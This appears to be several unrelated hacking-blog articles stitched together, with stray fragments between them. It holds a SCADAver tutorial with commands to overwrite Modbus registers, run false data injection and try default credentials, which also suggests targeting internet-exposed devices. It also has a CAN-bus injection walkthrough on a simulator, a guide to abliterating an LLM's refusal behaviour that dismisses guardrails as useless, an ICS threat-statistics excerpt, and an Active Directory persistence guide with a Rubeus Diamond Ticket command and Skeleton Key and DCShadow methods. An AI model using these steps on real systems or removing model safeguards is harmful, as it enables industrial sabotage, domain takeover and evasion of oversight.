Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.
There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.
SCADAver
SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.
This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.
Setting Up
We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.
We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.
First let’s list the help menu and see what the tool has:
ubuntu > scadaver -h
As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.
Siemens S7 – Basics
Let’s do a basic scan of a Siemens system and see what the tool comes back with.
# a basic scan
ubuntu > scadaver -i IP scan
# a stealthy scan
ubuntu > scadaver -z -i IP scan
It found port 102 open, and it was Siemens indeed.
We can also do a protocol specific scan or point it at a custom port if necessary:
ubuntu > scadaver -z -i IP --protocol siemens scan
# or with a custom port
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan
Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.
ubuntu > scadaver run portscan -i IP
Having covered the basics, we can move on to more interesting stuff and pull some information off this system.
Siemens S7 – Extracting Values
SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).
ubuntu > scadaver -i IP get io
Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.
ubuntu > scadaver -i IP get db 1 0 64
Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.
Modbus – Changing Values
We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:
ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1
Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.
We can pull this off too:
ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20
With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.
As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.
ubuntu > scadaver -i IP run flash-led
These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.
ubuntu > scadaver -i IP run default-creds
More exploits and actions that run has can be seen in the help menu:
ubuntu > scadaver run -h
Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:
ubuntu > scadaver db refs siemens
Browser UI & Terminal UI
In case you don’t like working with the CLI, you can try the other options.
For the Terminal UI run this:
ubuntu > scadaver
And the Browser UI can be set up with this command:
ubuntu > scadaver web
It will be hosted on http://127.0.0.1:8888
Summary
The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.
We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.
If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.
Earlier, we wrote an article on the issues that cars have. These issues are still common and car ransomware might soon emerge, hitting not just individual cars but entire fleets as vehicles get more autonomous and packed with different features.
In light of that, we want to show you a tool that makes car hacking more approachable. It’s GearGoat. The tool was built to simulate a car’s internal network so you can play with it.
GearGoat
GearGoat is a car simulator developed by INE Labs. It lets you work with the internal communication network used by most modern vehicles (CAN bus). Every action generates CAN packets on a virtual interface. You can use cansniffer, candump and UDS scanners with GearGoat, just like with any vehicle.
In a real car, you’d connect a CAN adapter (CANable or Macchina M2) into the OBD-II port, located under the dashboard. This port is basically a gateway into the vehicle’s internal network. Your system will treat the adapter as a network interface (can0) and you can start capturing and sending CAN messages. When someone presses the brake or turns on the indicators, it generates messages that travel across the network.
Setting Up
GearGoat runs inside a Docker container, so it’s easy to deploy. Clone the repository and run the script:
kali > git clone https://github.com/ine-labs/GearGoat.git
kali > cd GearGoat
kali > sudo chmod +x initial_setup.sh
kali > sudo ./initial_setup.sh
Then you need to configure the virtual CAN interface (vcan0):
kali > sudo chmod +x vcan_setup.sh
kali > sudo ./vcan_setup.sh
On certain distros you might be missing kernel modules. Here’s how you install them:
kali > sudo apt-get install -y linux-modules-extra-$(uname -r)
It doesn’t always work on Kali Linux though. You can manually load the required modules and create the interface yourself:
kali > sudo modprobe vcan
kali > sudo ip link add dev vcan0 type vcan
kali > sudo ip link set up vcan0
kali > ip link show vcan0
Now everything should be ready. You can start GearGoat:
kali > sudo docker run --network="host" --privileged geargoat
The simulator will be hosted on http://localhost. There you’ll see different car functions. Each button on the interface generates CAN traffic.
Intercepting Traffic
While the simulator’s running, it continuously generates CAN traffic. To see this traffic, use cansniffer.
kali > cansniffer -c vcan0
The output can feel overwhelming. The tool keeps highlighting changing bytes dynamically. It’s very noisy when you’re trying to establish a baseline. You need a way to tell the tool what normal looks like. Press Shift + 3 + Enter multiple times and cansniffer will treat the current state as the baseline. It won’t highlight the background noise anymore, so you’ll only see the changes you make.
Once the baseline is set, you can start playing with the simulator. Click the Left Indicator button and you’ll notice a change in the CAN data.
The first byte of a frame changes and it’s tied to 0x188. That means this identifier controls the indicator state.
When you play with the speedometer, you’ll see a different pattern. The changes happen in the 4th and 5th bytes are associated with 0x244. The speed climbs gradually.
Repeat this with other controls and you’ll see how functions map on the CAN bus.
Sending Input
Now we know which messages control specific functions, so we can interact with them.
To control the indicators, we’ll send CAN frames using cansend:
kali > cansend vcan0 188#0100000000000000 # left
kali > cansend vcan0 188#0200000000000000 # right
These commands will turn on the left and right indicators. The CAN bus runs at high speed, so these changes can be hard to catch. We used the watch command to make it more visible:
kali > watch -n 0.1 "cansend vcan0 188#0200000000000000"
Working with speed gets slightly more complex. Earlier, we found the address (0x244) and that specific bytes that control the value. To set a speed, we need to convert miles per hour into the format the CAN message expects.
To simulate a speed of 50 miles per hour you send:
kali > cansend vcan0 244#0000001F6F
You can see the simulator accelerating. Use the formula V = round(mph / 0.6213751 * 100) to calculate the value, then convert it into hexadecimal using big-endian.
Capturing and Replaying Traffic
You can also capture and replay traffic. That way you can record a sequence of actions and reproduce them.
To capture traffic, you use candump with logging:
kali > candump -l vcan0
It’ll record the CAN messages into a log file. Once captured, you can replay it:
kali > canplayer -I <log_file_name>.log
Summary
GearGoat can get you started with car hacking. You work with a simulated CAN bus to understand the communication patterns and message structure. It’s easy to set up and it’s not resource intensive, so it’ll run on pretty much any computer.
We also have our three-day Car Hacking training, showing you real attacks. It includes CAN protocol exploitation and the use of Software Defined Radio (SDR). There we show you how modern vehicles are actually compromised.
Lately, the constrained AI models that companies keep shipping are becoming less and less useful for cybersecurity. We keep hearing a lot of complaints about Claude in this regard. What they are doing doesn’t really fix the problem, as hackers are not sitting around waiting for the guardrails to be lifted. The barrier to entry for hacking has dropped hard. AI can already automate huge chunks of this cybercrime work. Many of these latest models can even find zero days during engagements.
Source: The Hacker News
So poking around your infrastructure looks completely irrelevant. A more meaningful approach is to actually emulate these real attacks with AI, but for that we need a model with no guardrails. Today we are going to show you how to jailbreak a model and self host it for your pentesting work.
What is Obliteratus
Obliteratus is built to strip refusal behavior out of LLMs using abliteration. You’ll see it called abliteration or obliteration, same thing. It targets the internal representations causing the model to refuse in the first place and knocks them out. The model keeps all its core capability, it just stops throwing up artificial walls when you ask it something. It runs on CPU for smaller models, and it’s already been used to abliterate Kimi-K3 along with a bunch of others.
Setting Up
Setting up this tool will take some time, just like the jailbreak process itself. How long depends on your hardware and your internet speed.
kali > sudo apt update
kali > sudo apt install -y python3 python3-pip python3-venv git
kali > git clone https://github.com/elder-plinius/OBLITERATUS.git
kali > cd OBLITERATUS
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip install --upgrade pip
kali > pip install -e .
Once it finishes, see if it works:
kali > obliteratus --help
If you don’t have a GPU, don’t worry. You can absolutely make this work with small models using just CPU power. Our Kali VM ran on 12 gigs of RAM and 7 processors, and that setup worked really well.
We went with Qwen 2.5-0.5B-Instruct for this test. You don’t need to have it downloaded beforehand. The tool will fetch it for you automatically. There are different methods available for the jailbreaking process, but advanced and nuclear are the most common. The advanced method is usually enough for most use cases, but if you see the model misbehaving you can escalate to nuclear.
kali > obliteratus obliterate Qwen/Qwen2.5-0.5B-Instruct --device cpu --method advanced --output-dir ./abliterated-qwen-0.5b
Once the model downloads, the tool starts running prompts designed to lift the guardrails.
You can find the full list of prompts in obliteratus/prompts.py. Right before it finishes, it runs a series of refusal tests to check whether the model actually complies with requests. Behavior varies a lot depending on which model you’re working with and which method you picked.
In our testing, the advanced method gave us approximately 75% of compliant answers.
At this point, everything is prepared and you can push your model to HuggingFace to share it. But if you want to run it locally, the next step is getting it working with Ollama.
Running Models with Ollama
Aircorridor previously made an article on running Ollama models locally and showed how to do it on a MacBook. If you don’t have it, you can still make this work on a Kali VM using your CPU. We need to convert our new model into a format that Ollama actually understands.
kali > git clone https://github.com/ggerganov/llama.cpp
kali > cd llama.cpp; python3 -m venv venv; source venv/bin/activate
kali > pip install -r requirements.txt
kali > python convert_hf_to_gguf.py /home/kali/OBLITERATUS/abliterated-qwen-0.5b --outfile qwen2.5-0.5b-abliterated-f16.gguf --outtype f16
Next, we create a Modelfile that points to the model:
kali > cat > Modelfile << EOF
FROM ./qwen2.5-0.5b-abliterated-f16.gguf
EOF
Then we create the model using Ollama:
kali > ollama create qwen05b-abliterated -f Modelfile
At this point, everything is ready and you can start testing it. The better the model you start with, the better your results will be.
kali > ollama run qwen05-abliterated
But even with a small model like this, you’ll see it do things that normally it wouldn’t.
Abliterated Models
This tool is helpful for doing the work yourself and understanding the logic behind the whole process. But if you’re working at scale and don’t have time to spend on each model individually, just keep in mind that many abliterated models are available on HuggingFace uploaded by huihui.ai. They’ve already done the heavy lifting for a lot of popular models.
If you can’t find exactly what you need in their collection, you now know how to do it yourself.
Summary
The landscape of offensive security has shifted because AI got so good at automation. Simple pentests with constrained models don’t prepare you for the reality out there anymore. As you can see, there’s no reason to work with constrained models in cybersecurity, when the people you’re up against are exploiting the full capability of a model with nothing holding them back. So test your environment with abliterated models before someone else does it. The tool is great for staying ahead of the actual threats.
Ransomware and phishing have always been linked, but the old model was blunt: a phishing email carried the payload, the recipient opened it, encryption followed within hours.
Completed another Hack The Box machine focused on Active Directory exploitation and privilege escalation.
The attack involved SMB enumeration, credential discovery through log analysis, Kerberos authentication, Shadow Credentials abuse, and DLL hijacking to gain user-level access. Further enumeration revealed a WSUS infrastructure weakness, allowing exploitation through Kerberos delegation abuse, certificate-based authentication, and a WSUS machine-in-the-middle attack to achieve Domain Admin privileges. This challenge strengthened my understanding of modern AD attack paths, Kerberos abuse techniques, and enterprise infrastructure security.
The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.
Percentage of ICS computers on which malicious objects were blocked, Q2 2023–Q1 2026
Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.
Regions ranked by percentage of attacked ICS computers
The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.
In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.
In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).
Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).
Selected industries
Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.
Industries ranked by the percentage of ICS computers on which malicious objects were blocked
Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.
In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.
Threat categories
In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.
Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.
Percentage of ICS computers on which the activity of malicious objects from various categories was prevented
Malicious scripts and phishing pages (JS and HTML)
Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.
Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.
Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.
Spyware
The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.
The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).
In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.
Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.
Percentage of ICS computers on which spyware was blocked in various industries in Russia, Q3 2025–Q1 2026
Denylisted internet resources
The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.
The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.
In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.
Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.
Malicious documents (Microsoft Office + PDF)
The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).
Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.
Ransomware
The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.
The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).
Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.
Miners in the form of executable files for Windows
The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.
The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.
Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.
Web miners
The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).
At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.
Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.
Worms
The percentage of ICS computers on which worms were blocked decreased to 1.33%.
The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).
Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.
Viruses
The percentage of ICS computers on which viruses were blocked decreased to 1.31%.
The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).
Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.
Malware for AutoCAD
The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.
The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).
Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).
Main threat sources
In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.
Percentage of ICS computers on which malicious objects from various sources were blocked
Internet
The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.
The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).
Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.
Email clients
The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.
The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).
Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).
Removable media
The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).
Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).
Network folders
The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).
East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).
The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.
Spanish police and the FBI arrested an alleged Cyber Army of Russia Reborn member as international efforts against pro Russia cyberattacks continue worldwide.
One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.
This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.
Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.
The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.
Today we are going to explore The Art of Staying In by DbgMan.
The Art of Staying In
The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.
The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.
We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.
Active Directory Persistence
One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.
Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.
There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.
Diamond Ticket
A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.
To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.
A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.
A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.
For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.
The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.
After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.
Next we move to Rubeus.
Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap
# add /output:admin.kirbi if you need it
This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.
If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.
kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache
Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.
Sapphire Tickets
A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.
Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.
Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.
Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.
DCShadow
DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.
The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.
This attack requires Domain Admin privileges.
For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.
Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.
Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.
DSRM Account Backdoor
Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.
This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.
First, we connect to the Domain Controller and dump the local SAM database.
After modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.
Skeleton Key
Skeleton Key is another classic but still interesting persistence technique.
Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.
By default, the password used by Mimikatz for Skeleton Key is mimikatz.
The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.
Other Persistence Methods
There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.
Hackers don’t rely on one method. They layer persistence strategically.
OPSEC
Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.
Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.
APT Case Studies
The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.
Summary
Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.
Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.
If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.
Login
